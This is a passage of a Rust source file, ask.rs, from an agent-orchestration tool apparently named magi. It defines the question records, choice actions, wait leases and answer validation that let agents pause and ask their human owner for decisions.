Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64/// Schema 13 records an ended consultation without resolving its question.
65pub const SCHEMA: u32 = 13;
66
67/// How often the wait re-reads the question file.
68///
69/// Three seconds: the answer comes from a human on a phone, so the difference
70/// between three seconds and three hundred milliseconds is invisible to them,
71/// while a tight loop would `stat` and parse a file thousands of times per
72/// minute for a wait that routinely lasts hours. Nothing is held between polls -
73/// no lock, no open handle - because `magi web` and `magi answer` write the
74/// same file from other processes.
75const POLL: Duration = Duration::from_secs(3);
76
77/// How long an agent's reply may go unnoticed before it earns its own
78/// notification.
79///
80/// An operator reading the card when the agent replies does not need paging
81/// again for a conversation they are already in; one who walked away still
82/// needs the tap on the shoulder. Five minutes is a judgement call about that
83/// line, not a policy a repository has an opinion about, which is why it lives
84/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
85/// whether they are still looking at the phone, and neither can this build, so
86/// there is nothing for a per-repository setting to be *right* about.
87const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89/// How long the operator's notification command may run before it is killed.
90///
91/// A webhook that hangs must not hang the run. Twenty seconds is long enough
92/// for a slow HTTP round trip and short enough that the operator still gets the
93/// question filed and the run parked in a bounded time.
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96/// The longest a single `magi ask` invocation may block on the owner before
97/// it hands the wait back to whatever is running it, rather than to
98/// [`Question::abandon`].
99///
100/// `answer_timeout` defaults to a day, and that is a deadline for the
101/// *question*, not a budget the calling process is free to spend all at
102/// once: an agent CLI's own shell tool kills a command that runs much longer
103/// than this, and the child it kills is `magi ask` itself - the one thing
104/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
105/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
106/// out, and the seat's own summary said it had backgrounded the blocking
107/// `magi ask` and would "continue once the owner replies" - except nothing
108/// was left to notice the reply. The seat exited `completed`, the
109/// backgrounded child died with it, and the owner's eventual answer on the
110/// web UI had nobody left to read it.
111///
112/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
113/// and returns [`Wait::Pending`] if nothing happened, which is not a
114/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
115/// process the tool timeout has never seen. Four minutes leaves a ten-minute
116/// tool budget room for the CLI's own startup and the notification's round
117/// trip, while staying long enough that an owner who answers within the hour
118/// is not making an agent loop through fifteen slices to hear about it.
119const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121/// How long a lease stays believable after its last beat.
122///
123/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
124/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
125/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
126/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
127/// or about to be, and a lease that is merely between two calls must not be
128/// mistaken for that - the daemon waiter would start a second agent on a
129/// conversation the first is still in.
130pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132/// How long [`Questions::update`]'s lock may be held before it is presumed
133/// left behind by a writer that died.
134const LOCK_STALE: Duration = Duration::from_secs(10);
135
136/// Environment variable naming the base URL of the web UI, for `{url}`.
137///
138/// A run cannot discover this by itself: `magi web` is a different process,
139/// usually started by hand and often on a different machine on the tailnet, and
140/// the address it settled on (Tailscale IP, port, or the fallback it warned
141/// about) exists only in that process. So the operator names it once, in the
142/// environment `magi serve` runs in - `magi web --open` prints exactly the
143/// string to use on stdout. Unset means `{url}` expands to nothing rather than
144/// to a guess: a notification carrying a link to an address nothing is
145/// listening on is worse than one carrying no link at all.
146pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148/// Largest panel magi will store, html plus assets.
149///
150/// Checked as a total, before a single byte is written, because the failure
151/// this prevents is not a full disk but a half-copied panel: an agent that
152/// points at a 200 MB screen recording must get one clean error, not a
153/// directory holding the three small files that fitted before the copy died.
154/// Eight mebibytes is far more than a diff, a table and a handful of images
155/// need, and small enough that a phone on a hotel link still renders it.
156pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158/// Suffix of the directory holding one question's panel.
159///
160/// A sibling of `<id>.json` rather than a subdirectory of the store, so
161/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
162/// see it, and so a panel travels with the question it belongs to.
163const PANEL_DIR: &str = ".panel";
164
165/// The panel's entry point inside its directory.
166const PANEL_HTML: &str = "index.html";
167
168/// Scratch directory a panel is assembled in before it is swapped into place.
169const PANEL_TMP: &str = ".panel.tmp";
170
171/// The one asset filename rule, applied on write **and** on read.
172///
173/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
174/// containing `..`. The pattern is this narrow because the name arrives from
175/// two untrusted directions and is then joined onto a path: an agent naming
176/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
177/// character that could change what the join means is outside the set - `/`
178/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
179/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
180/// refused, which matters because on Windows `Path::join` with an absolute
181/// path *discards the whole prefix* and would serve any file on the disk.
182/// `..` is refused anywhere rather than only at the front so the rule reads
183/// the same as the sentence "no traversal" to anyone auditing it.
184///
185/// The length bound keeps a name inside every filesystem's limit, so a panel
186/// that stores cannot fail to store on the operator's other machine.
187pub fn valid_asset_name(name: &str) -> bool {
188    if name.is_empty() || name.len() > 64 || name.contains("..") {
189        return false;
190    }
191    let mut chars = name.chars();
192    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196/// Where a question is in its life.
197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200    /// Asked, and waiting for the owner. A run is parked behind it.
201    Open,
202    /// The owner decided. [`Question::answer`] holds what they said.
203    Answered,
204    /// Nobody answered in time, or the question outlived the run that asked.
205    /// Kept rather than deleted: what was asked and never answered is the
206    /// evidence that the operator was the bottleneck.
207    Abandoned,
208}
209
210impl QuestionStatus {
211    /// Is a run still parked behind this question?
212    pub fn open(self) -> bool {
213        matches!(self, Self::Open)
214    }
215
216    /// Lowercase name, as it appears on disk and in the API.
217    pub fn as_str(self) -> &'static str {
218        match self {
219            Self::Open => "open",
220            Self::Answered => "answered",
221            Self::Abandoned => "abandoned",
222        }
223    }
224}
225
226/// What the owner said.
227///
228/// Two shapes rather than one string because the question decides which is
229/// admissible, and [`Question::answer`] enforces it. A phone that posts
230/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
231/// front end, and it is caught here rather than handed to an agent as fact.
232#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235    /// One of the offered choices, verbatim.
236    Choice(String),
237    /// Free text, for a question that offered no choices.
238    Text(String),
239}
240
241/// What the daemon does to the task behind a question when a particular
242/// choice is answered.
243///
244/// A closed set, attached to a choice by the asker (`magi ask --choice X
245/// --action X=resume`) and matched by the choice's exact text. Nothing here
246/// is ever derived from the wording of a label or of a free-text answer: a
247/// question without an action for the chosen label does nothing but answer.
248#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251    /// Resume this run of the task that owns the question.
252    Resume {
253        /// The run to continue. Must still be the task's latest run.
254        run: String,
255    },
256    /// Resume a named execution through the shared driver service.
257    ResumeRun {
258        /// Exact run ID; never a prefix resolved at application time.
259        run: String,
260    },
261    /// Release only the exact hold the question was filed about.
262    ReleaseTask {
263        /// Exact queue task ID.
264        task: String,
265        /// Start of the hold observed when filing the question.
266        held_at: jiff::Timestamp,
267        /// Exact hold reason (including its absence) observed when filing.
268        reason: Option<String>,
269    },
270    /// Rerun these failed workflow runs once, on this exact PR head.
271    RerunChecks {
272        /// Repository used for forge access.
273        repo: PathBuf,
274        /// Named pull request URL or number.
275        pr: String,
276        /// Commit whose checks the owner saw.
277        head: String,
278        /// Failed workflow run IDs, bounded to twenty.
279        runs: Vec<String>,
280    },
281    /// End a predecessor only after the shared driver judge proves it dead.
282    AbandonRun {
283        /// Exact predecessor run ID.
284        run: String,
285    },
286    /// Requeue the task as a fresh competition.
287    Requeue,
288    /// Hold the task until the operator releases it.
289    Hold,
290    /// Close the task as done.
291    Done,
292}
293
294impl ChoiceAction {
295    /// Maintenance effects are applied exclusively by the daemon.
296    pub fn maintenance(&self) -> bool {
297        matches!(
298            self,
299            Self::ResumeRun { .. }
300                | Self::ReleaseTask { .. }
301                | Self::RerunChecks { .. }
302                | Self::AbandonRun { .. }
303        )
304    }
305
306    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
307    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
308    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
309    /// action; whether the label is one of the choices is the caller's check.
310    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
311        let split = spec
312            .find("={")
313            .map(|at| (&spec[..at], &spec[at + 1..]))
314            .or_else(|| spec.rsplit_once('='));
315        let Some((label, verb)) = split else {
316            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
317        };
318        let label = label.trim();
319        if label.is_empty() {
320            bail!("`--action {spec}` names no choice before `=`");
321        }
322        let verb = verb.trim();
323        if verb.starts_with('{') {
324            let action = serde_json::from_str(verb).context("parse typed choice action")?;
325            return Ok((label.to_owned(), action));
326        }
327        let action = match verb.split_once(':') {
328            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
329                run: run.trim().into(),
330            },
331            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
332                run: run.trim().into(),
333            },
334            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
335                run: run.trim().to_owned(),
336            },
337            None if verb == "resume" => {
338                if default_run.is_empty() {
339                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
340                }
341                Self::Resume {
342                    run: default_run.to_owned(),
343                }
344            }
345            None if verb == "requeue" => Self::Requeue,
346            None if verb == "hold" => Self::Hold,
347            None if verb == "done" => Self::Done,
348            _ => bail!(
349                "unknown action `{verb}` in `--action {spec}`; \
350                 use resume[:<run>], requeue, hold or done"
351            ),
352        };
353        Ok((label.to_owned(), action))
354    }
355
356    /// Stable aliases for internal recovery, independent of display labels.
357    /// Other effects still require their offered labels and existing consent.
358    pub fn matches_alias(&self, input: &str) -> bool {
359        let input = input.trim();
360        match self {
361            Self::Resume { run } => {
362                [
363                    "resume",
364                    "resume run",
365                    "resume-run",
366                    "再開",
367                    "実行再開",
368                    "実行を再開",
369                    "実行を再開する",
370                ]
371                .iter()
372                .any(|alias| input.eq_ignore_ascii_case(alias))
373                    || [
374                        format!("resume {run}"),
375                        format!("resume:{run}"),
376                        format!("resume run {run}"),
377                        format!("resume {}", short(run)),
378                        format!("resume run {}", short(run)),
379                    ]
380                    .iter()
381                    .any(|alias| input.eq_ignore_ascii_case(alias))
382            }
383            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
384                .iter()
385                .any(|alias| input.eq_ignore_ascii_case(alias)),
386            _ => false,
387        }
388    }
389
390    /// Short human wording, for `magi show` and the card.
391    pub fn describe(&self) -> String {
392        match self {
393            Self::Resume { run } => format!("resume run {}", short(run)),
394            Self::ResumeRun { run } => format!("resume run {}", short(run)),
395            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
396            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
397            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
398            Self::Requeue => "requeue the task".to_owned(),
399            Self::Hold => "hold the task until the operator releases it".to_owned(),
400            Self::Done => "mark the task done".to_owned(),
401        }
402    }
403}
404
405/// Parse every `--action` value against the offered `choices`, refusing a
406/// label the question does not offer (it could never fire).
407pub fn parse_actions(
408    specs: &[String],
409    choices: &[String],
410    default_run: &str,
411) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
412    let mut out = std::collections::BTreeMap::new();
413    for spec in specs {
414        let (label, action) = ChoiceAction::parse(spec, default_run)?;
415        if !choices.contains(&label) {
416            bail!(
417                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
418                choices.join(", ")
419            );
420        }
421        if out.insert(label.clone(), action).is_some() {
422            bail!("more than one --action for `{label}`");
423        }
424    }
425    Ok(out)
426}
427
428/// Who wrote one turn of a question's conversation.
429///
430/// Two values, not three: [`Question::thread`] is the record of a single
431/// question stopping and resuming, and the agent that resumes it is always
432/// the one that asked - a fresh consultant would have to be caught up on
433/// everything the first agent already knows, which is the round trip this
434/// module exists to avoid. The names and the wire spelling deliberately match
435/// [`crate::chat::Who`], which this module does not depend on: the two are the
436/// same idea in two products, and giving them the same shape is what lets the
437/// phone render both with one component.
438#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
439#[serde(rename_all = "lowercase")]
440pub enum Who {
441    /// The person the agent asked.
442    Operator,
443    /// The agent that asked, replying to a question of its own rather than
444    /// answering.
445    Agent,
446}
447
448/// One turn in a question's back-and-forth, after the question itself was
449/// asked.
450///
451/// The question's own `summary`/`detail`/`choices` already carry the agent's
452/// opening move, so a turn only exists from the moment the owner talks back -
453/// [`Question::thread`] starts empty and stays that way for the overwhelming
454/// majority of questions, which are answered on the first read.
455#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
456#[serde(deny_unknown_fields)]
457pub struct Turn {
458    /// Who said it.
459    pub who: Who,
460    /// What they said.
461    pub body: String,
462    /// When they said it.
463    pub at: Timestamp,
464    /// A deputy's own report beside a settle: side effects it caused and
465    /// requests it could not carry out. The deputy's claim, never checked by
466    /// magi, and kept apart from `body` so the verified "Settled as" line and
467    /// this self-report cannot be mistaken for each other.
468    #[serde(default, skip_serializing_if = "Option::is_none")]
469    pub note: Option<String>,
470}
471
472/// Who is keeping watch over an open question.
473#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
474#[serde(rename_all = "lowercase")]
475pub enum WaiterKind {
476    /// The `magi ask` process the agent started.
477    Asker,
478    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
479    /// own session because the asker is gone.
480    Daemon,
481    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
482    /// `magi serve` runs for a question the conductor filed, so that something
483    /// which remembers why it was asked is on the other end.
484    Deputy,
485}
486
487/// The follow-up seat a conductor question hands its wait to.
488///
489/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
490/// reply to its question would reach nobody. A deputy is a seat of its own -
491/// keyed `deputy-<question id>`, never the conductor's shared seat - that
492/// inherits what the conductor knew about this one question ([`Deputy::brief`])
493/// and blocks on it with `magi ask --wait`. Persisted on the question so a
494/// restarted daemon resumes the same CLI conversation instead of assuming it.
495///
496/// Written only through [`Questions::update`]: the owner's say and answer land
497/// on the same file.
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
499pub struct Deputy {
500    /// Why the question was asked, what each choice leads to: the conductor's
501    /// context for this one question, handed to the deputy in its prompt.
502    pub brief: String,
503    /// The agent that holds the seat. Empty until the first start.
504    #[serde(default)]
505    pub agent: String,
506    /// The deputy's own conversation. `None` until the first start.
507    #[serde(default)]
508    pub seat: Option<crate::agent::SeatState>,
509    /// How many times a deputy turn was started for this question. Never reset
510    /// by a restart, so a deputy that keeps dying is bounded.
511    #[serde(default)]
512    pub starts: u32,
513}
514
515impl Deputy {
516    /// A deputy that has not started yet, holding `brief`.
517    pub fn new(brief: String) -> Self {
518        Self {
519            brief,
520            agent: String::new(),
521            seat: None,
522            starts: 0,
523        }
524    }
525}
526
527/// Seat name of the deputy for question `id`.
528pub fn deputy_seat_key(id: &str) -> String {
529    format!("deputy-{}", short(id))
530}
531
532/// The record's note of who was last known to be waiting.
533///
534/// A note, not a promise: nothing rewrites the question when a holder dies, so
535/// whether it still holds is read from the [`Lease`] beside it.
536#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
537pub struct Waiter {
538    /// Who took the wait.
539    pub kind: WaiterKind,
540    /// When they took it.
541    pub since: Timestamp,
542}
543
544/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
545///
546/// A sidecar rather than a field of the question because a holder beats every
547/// few seconds, and rewriting the question that often would race the phone's
548/// answer and say with lost updates. It is not `*.json`, so
549/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
550/// different things across platforms, while a beat that stopped is evidence on
551/// every one.
552#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
553pub struct Lease {
554    /// Who beat last.
555    pub kind: WaiterKind,
556    /// Their process id, for a human reading the file.
557    pub pid: u32,
558    /// When they beat last.
559    pub beat_at: Timestamp,
560}
561
562impl Lease {
563    /// Was the last beat recent enough to believe the holder is still there?
564    pub fn fresh(&self, now: Timestamp) -> bool {
565        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
566    }
567}
568
569/// One decision magi will not take on the owner's behalf.
570#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
571#[serde(deny_unknown_fields)]
572pub struct Question {
573    /// On-disk format version.
574    pub schema: u32,
575    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
576    /// task's, so the operator can paste any of them at any prefix argument.
577    pub id: String,
578    /// Run that is parked behind this question.
579    pub run: String,
580    /// Graph node the asking agent was working in, e.g. `implement`.
581    pub node: String,
582    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
583    /// this" decides whether the answer unblocks one candidate or all of them.
584    pub seat: String,
585    /// One line: the question itself. This is what a notification carries and
586    /// what the phone shows above the answer controls.
587    pub summary: String,
588    /// The reasoning behind the question, as markdown. May be long, may be
589    /// empty. Rendered as text nodes by the UI, never as markup.
590    pub detail: String,
591    /// Display-only comparison; never used to decide or construct a post.
592    #[serde(default, skip_serializing_if = "Option::is_none")]
593    pub posting_comparison: Option<crate::github_text::PostingComparison>,
594    /// The admissible answers. **Empty means free text** - that one condition
595    /// is the whole difference between the two kinds of question, on disk, in
596    /// the UI, and in [`Question::answer`]'s validation.
597    pub choices: Vec<String>,
598    /// Exact PR and head displayed to the owner. Absent on legacy questions.
599    #[serde(default)]
600    pub merge_target: Option<crate::merge_decision::Target>,
601    /// Task decision outbox; retained until task-chat delivery is durable.
602    #[serde(default)]
603    pub routed_task: Option<String>,
604    /// `ask_cmd` chose the legacy foreground path because no task owned it.
605    /// Persist this provenance: a nonempty run alone is not task ownership.
606    #[serde(default, skip_serializing_if = "std::ops::Not::not")]
607    pub legacy_foreground: bool,
608    /// Set after delivery; merge consent remains in this record.
609    #[serde(default)]
610    pub routed_chat: Option<String>,
611    /// Literal replacement title supplied with a routed publication decision.
612    /// This is publication data, not owner-consent evidence.
613    #[serde(default, skip_serializing_if = "Option::is_none")]
614    pub publication_title: Option<String>,
615    /// What the daemon does when a given choice is answered, keyed by the
616    /// choice's exact text. Empty for an ordinary question. A key is always
617    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
618    #[serde(default)]
619    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
620    /// Does this question have an agent-authored HTML panel beside it?
621    ///
622    /// Serialised with a default so a question written by an older magi - or
623    /// by hand - still deserialises rather than failing the whole store, which
624    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
625    /// open question the operator was looking for.
626    #[serde(default)]
627    pub panel: bool,
628    /// Files copied in beside the panel's html, by base name, sorted.
629    ///
630    /// The list exists so a reader knows what a panel is made of without
631    /// walking the directory, and every entry satisfies [`valid_asset_name`].
632    /// Sorted because it is compared - a question re-asked with the same
633    /// assets in a different argument order is not a different question.
634    #[serde(default)]
635    pub assets: Vec<String>,
636    /// Current state.
637    pub status: QuestionStatus,
638    /// When the agent asked.
639    pub asked_at: Timestamp,
640    /// Operator decision generation when a built-in triage question was filed.
641    #[serde(default)]
642    pub triage_generation: Option<u64>,
643    /// When the owner answered, if they did.
644    pub answered_at: Option<Timestamp>,
645    /// Exact response generation recorded by a live answer update. Absent on
646    /// imported history; survives an answer made before task ownership exists.
647    #[serde(default, skip_serializing_if = "Option::is_none")]
648    pub accepted_answer_at: Option<Timestamp>,
649    /// What they said.
650    pub answer: Option<Answer>,
651    /// Everything said after the question itself, oldest first: the owner
652    /// asking back, the agent replying, as many times as it takes before an
653    /// [`Answer`] lands.
654    ///
655    /// `#[serde(default)]` so a question written before this field existed -
656    /// every question on disk before this build - still deserialises as one
657    /// with no conversation yet, rather than failing [`Questions::list`]'s
658    /// read and quietly hiding an open question from the operator.
659    #[serde(default)]
660    pub thread: Vec<Turn>,
661    /// The `answer_timeout`, in seconds, that was in force when this question
662    /// was first asked. `0` means unrecorded - a question written before this
663    /// field existed, or one filed by a flow (land's merge-approval gate)
664    /// that never sets it because it never resumes a sliced wait.
665    ///
666    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
667    /// or the config default) is decided by the caller, after the question
668    /// already exists - so it starts at `0` here and whoever files a fresh
669    /// question sets it once, the same way [`Question::panel`] is set by
670    /// [`Questions::put_panel`] rather than by the constructor. It is never
671    /// touched again: `magi ask --wait` reads it as the one deadline it is
672    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
673    /// on a later call can never quietly extend or shrink the budget the
674    /// question was actually asked with.
675    #[serde(default)]
676    pub answer_timeout: u64,
677    /// The directory the asking agent was working in when it asked, so the
678    /// daemon waiter can resume that agent's session from where it stood.
679    /// `None` for a question no `magi ask` filed (land's approval gate, a
680    /// release notice, one written before this field existed): those have no
681    /// agent to hand anything back to, and the waiter leaves them alone.
682    #[serde(default)]
683    pub cwd: Option<String>,
684    /// Who was last known to be waiting - see [`Waiter`].
685    #[serde(default)]
686    pub waiter: Option<Waiter>,
687    /// How many entries of [`Question::thread`] the agent has been shown, by
688    /// the asking process printing them or by the waiter resuming the seat.
689    /// The owner's turn at an index at or past this has reached nobody yet.
690    #[serde(default)]
691    pub delivered_turns: usize,
692    /// Has the agent been told the [`Answer`]? The asker prints it as it
693    /// returns; the waiter delivers it when the asker was gone.
694    #[serde(default)]
695    pub answer_delivered: bool,
696    /// The follow-up seat waiting on this question, for a question the
697    /// conductor filed. `None` for every other question.
698    #[serde(default)]
699    pub deputy: Option<Deputy>,
700    /// Set once the owner handed this question to the chat it came from
701    /// ([`crate::consult::begin`]). The question stays open; this only records
702    /// that the chat was asked, so a second tap does not post it twice.
703    #[serde(default)]
704    pub consult: Option<ChatConsult>,
705    /// Owner evidence a chat answer persisted before owner requests went
706    /// through without consent checks. Kept (reduced to the fields below) so
707    /// an old record keeps loading (`deny_unknown_fields`) and an old pending
708    /// `use my text` answer keeps its title through a re-save
709    /// ([`crate::github_text::read_reply`]); nothing assigns it any more.
710    #[serde(default, skip_serializing_if = "Option::is_none")]
711    pub answer_authority: Option<LegacyAnswerAuthority>,
712    /// Owner decision outside the choices; ends consultation without answering.
713    #[serde(default, skip_serializing_if = "Option::is_none")]
714    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
715    /// Independent task facts behind a conductor question. Answered questions
716    /// with unchanged facts must not be regenerated just to ask again.
717    #[serde(default)]
718    pub decision_context: Option<String>,
719}
720
721/// A question the owner passed to the chat conversation its task came from.
722#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
723pub struct ChatConsult {
724    /// The conversation the question was posted into.
725    pub talk: String,
726    /// When it was posted.
727    pub at: Timestamp,
728}
729
730/// The part of an old record's `answer_authority` that is still read: the
731/// owner instruction an old pending `use my text` answer took its title from.
732/// Every other key of the old evidence is ignored on load.
733#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
734pub struct LegacyAnswerAuthority {
735    /// Question the old evidence was bound to.
736    pub question: String,
737    /// Choice the old evidence was bound to.
738    pub choice: String,
739    /// The owner's full instruction.
740    pub instruction: String,
741}
742
743impl Question {
744    /// Does `run` hold a task id rather than a run id? True for the
745    /// conductor's and the triage questions, which are filed about a task.
746    pub fn run_names_task(&self) -> bool {
747        matches!(
748            self.node.as_str(),
749            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
750        )
751    }
752
753    /// Ask something. Persist it with [`Questions::put`], or hand it to
754    /// [`ask_and_wait`], which files it and waits.
755    pub fn new(
756        run: String,
757        node: String,
758        seat: String,
759        summary: String,
760        detail: String,
761        choices: Vec<String>,
762    ) -> Self {
763        Self {
764            schema: SCHEMA,
765            id: new_id(),
766            run,
767            node,
768            seat,
769            summary,
770            detail,
771            posting_comparison: None,
772            choices,
773            merge_target: None,
774            routed_task: None,
775            legacy_foreground: false,
776            routed_chat: None,
777            publication_title: None,
778            actions: std::collections::BTreeMap::new(),
779            panel: false,
780            assets: Vec::new(),
781            status: QuestionStatus::Open,
782            asked_at: Timestamp::now(),
783            triage_generation: None,
784            answered_at: None,
785            accepted_answer_at: None,
786            answer: None,
787            thread: Vec::new(),
788            answer_timeout: 0,
789            cwd: None,
790            waiter: None,
791            delivered_turns: 0,
792            answer_delivered: false,
793            deputy: None,
794            consult: None,
795            answer_authority: None,
796            consult_outcome: None,
797            decision_context: None,
798        }
799    }
800
801    /// Short form used in reports and on the phone, matching a run's short id.
802    pub fn short(&self) -> &str {
803        short(&self.id)
804    }
805
806    /// The action attached to the choice that was answered, if the question
807    /// is answered with a choice that carries one. Free text never matches.
808    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
809        match (&self.status, &self.answer) {
810            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
811            _ => None,
812        }
813    }
814
815    /// Does this question want free text rather than one of a set?
816    pub fn free_text(&self) -> bool {
817        self.choices.is_empty()
818    }
819
820    /// Exact reply values, kept separate from human action descriptions.
821    /// Resolve each advertised alias through the real parser, including ambiguity.
822    pub fn reply_guidance(&self) -> String {
823        self.choices
824            .iter()
825            .map(|label| {
826                let aliases: Vec<_> = ["resume-run", "keep-held"]
827                    .into_iter()
828                    .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
829                    .collect();
830                let exact = serde_json::to_string(label).expect("serialize label");
831                let reply = if aliases.is_empty() {
832                    format!("exact label: {exact}")
833                } else {
834                    format!(
835                        "exact label: {exact}; accepted aliases: {}",
836                        aliases.join(", ")
837                    )
838                };
839                match self.actions.get(label) {
840                    Some(action) => {
841                        format!("{reply}; effect (not reply text): {}", action.describe())
842                    }
843                    None => reply,
844                }
845            })
846            .collect::<Vec<_>>()
847            .join("\n")
848    }
849
850    /// Resolve terminal aliases to the exact stored label before authorization.
851    /// Aliases describe structured effects, never translated display text.
852    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
853        if self.free_text() || self.choices.iter().any(|c| c == reply) {
854            return Ok(reply);
855        }
856        if ChoiceAction::Hold.matches_alias(reply)
857            && let Some(label) = self
858                .choices
859                .iter()
860                .find(|label| crate::triage::contextual_keep_held(self, label))
861        {
862            return Ok(label);
863        }
864        let matches: Vec<_> = self
865            .actions
866            .iter()
867            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
868            .collect();
869        match matches.as_slice() {
870            [(label, _)] => Ok(label.as_str()),
871            [] => bail!(
